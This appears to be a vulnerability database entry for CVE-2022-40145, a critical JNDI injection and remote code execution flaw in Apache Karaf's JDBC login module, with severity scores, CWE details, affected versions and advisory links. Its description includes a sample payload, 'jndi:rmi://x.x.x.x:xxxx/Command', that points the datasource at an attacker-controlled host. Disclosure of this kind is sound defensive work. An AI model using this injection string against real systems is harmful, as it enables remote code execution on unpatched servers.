CVE-2022-40145

Published: Dic 21, 2022 Last Modified: Apr 15, 2025 EU-VD ID: EUVD-2022-7591 Aliases: GHSA-c2p4-8mvv-rwmv
ExploitDB:
Other exploit source:
Google Dorks:
CRITICAL 9,8
Source: [email protected]
Attack Vector: network
Attack Complexity: low
Privileges Required: none
User Interaction: none
Scope: unchanged
Confidentiality: high
Integrity: high
Availability: high

Description

AI Translation Available

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, 'osgi:' + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,'jndi:rmi://x.x.x.x:xxxx/Command');` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

EPSS (Exploit Prediction Scoring System)

Trend Analysis

EPSS (Exploit Prediction Scoring System)

Prevede la probabilità di sfruttamento basata su intelligence sulle minacce e sulle caratteristiche della vulnerabilità.

EPSS Score
0,0539
Percentile
0,9th
Updated

EPSS Score Trend (Last 90 Days)

20

Improper Input Validation

Stable
Abstraction: Class Structure: Simple
Common Consequences
Security Scopes Affected:
Availability Confidentiality Integrity
Potential Impacts:
Dos: Crash, Exit, Or Restart Dos: Resource Consumption (Cpu) Dos: Resource Consumption (Memory) Read Memory Read Files Or Directories Modify Memory Execute Unauthorized Code Or Commands
Applicable Platforms
All platforms may be affected
Likelihood of Exploit: High
View CWE Details
74

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Incomplete
Abstraction: Class Structure: Simple
Common Consequences
Security Scopes Affected:
Confidentiality Access Control Other Integrity Non-Repudiation
Potential Impacts:
Read Application Data Bypass Protection Mechanism Alter Execution Logic Other Hide Activities
Applicable Platforms
All platforms may be affected
Likelihood of Exploit: High
View CWE Details
Application

Karaf by Apache

Product Information
Vendor Apache
Product Karaf
Version Range Affected
From 4.4.0 (inclusive)
To 4.4.2 (exclusive)
cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*
Common Platform Enumeration - Standardized vulnerability identification
Application

Karaf by Apache

Product Information
Vendor Apache
Product Karaf
Version Range Affected
To 4.3.8 (exclusive)
cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*
Common Platform Enumeration - Standardized vulnerability identification
https://karaf.apache.org/security/cve-2022-40145.txt
Vendor Advisory
https://karaf.apache.org/security/cve-2022-40145.txt
https://karaf.apache.org/security/cve-2022-40145.txt
Vendor Advisory
https://karaf.apache.org/security/cve-2022-40145.txt